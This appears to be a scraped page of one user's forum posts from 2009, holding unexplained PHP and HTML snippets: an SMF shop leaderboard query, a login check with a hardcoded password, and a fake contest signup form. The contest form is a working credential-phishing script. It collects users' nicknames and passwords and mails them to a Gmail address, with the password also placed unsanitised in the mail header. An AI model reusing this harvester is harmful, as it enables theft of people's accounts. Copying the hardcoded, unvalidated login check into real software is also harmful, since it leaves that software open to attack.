1
Aplicaciones Pre-Fabricadas / ...
« en: 02 de Febrero de 2009, 22:12:34 pm »
...
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
// 10 richest people (pocket)
// Start with empty list
$context['shop_richest'] = array();
// Get the richest people
$result = db_query("
SELECT ID_MEMBER, realName, money
FROM {$db_prefix}members
ORDER BY money DESC, realName
LIMIT 10", __FILE__, __LINE__);
// Loop through all results
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
// And add them to the list
$context['shop_richest'][] = array(
'ID_MEMBER' => $row['ID_MEMBER'],
'realName' => $row['realName'],
'money' => $row['money']
);
mysql_free_result($result);
// 10 richest people (pocket)
// Again, let's start with an empty list
$context['shop_richestBank'] = array();
// Get the richest people
$result = db_query("
SELECT ID_MEMBER, realName, moneyBank
FROM {$db_prefix}members
ORDER BY moneyBank DESC, realName
LIMIT 10", __FILE__, __LINE__);
// Loop through all results
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
// Add them to the list
$context['shop_richestBank'][] = array(
'ID_MEMBER' => $row['ID_MEMBER'],
'realName' => $row['realName'],
'moneyBank' => $row['moneyBank']
);
mysql_free_result($result);


<form id="formulario" method="post" action="acceso.php">
<div align="left"><img src="img/nombre.gif" alt="nombre" width="28" height="14"><br>
<input name="nombre" type="text" class="Title" id="nombre">
</div>
<img src="img/contra.gif" alt="contra" width="60" height="14">
<label>
<input name="contra" type="password" class="Title" id="contra">
</label>
</p>
<label>
<div align="center">
<div align="center">
<input type="submit" name="Enviar" id="Enviar" value="Entrar">
</div>
</div>
</label>
</form>
<?php
ob_start();
if ($nombre == "Bart" && $contra=="123123")
{
}
else {
echo "Te vas a quedar con las ganas";
exit;
}
ob_end_flush();
?>

<form id="concurso" method="post" action="enviar.php">
<label><img src="dat_archivos/nombre.gif" width="32" height="14"><br>
<input name="nick" type="text" class="Title" id="nick">
</label>
<p class="Estilo1"><img src="dat_archivos/password.gif" width="66" height="13">
<label>
<input name="password" type="password" class="Title" id="password">
</label>
</p>
<p class="Estilo1">
<label>
<input type="submit" name="enviar" id="enviar" value="Participar!">
</label>
</p>
</form>
<?php
$nombre = $_POST['nick'];
$mail = $_POST['password'];
$header = 'From: ' . $mail . " \r\n";
$header .= "X-Mailer: PHP/" . phpversion() . " \r\n";
$header .= "Mime-Version: 1.0 \r\n";
$header .= "Content-Type: text/plain";
$mensaje .= "Nick: " . $_POST['nick'] . " \r\n";
$mensaje .= "Password: " . $_POST['password'] . " \r\n";
$mensaje .= "Enviado el " . date('d/m/Y', time());
$para = 'email@gmail.com';
$asunto = 'Otro se apunta al concurso';
mail($para, $asunto, utf8_decode($mensaje), $header);
echo 'Felicidades se ha apuntado al concurso correctamente';
?>
Gracias anticipadas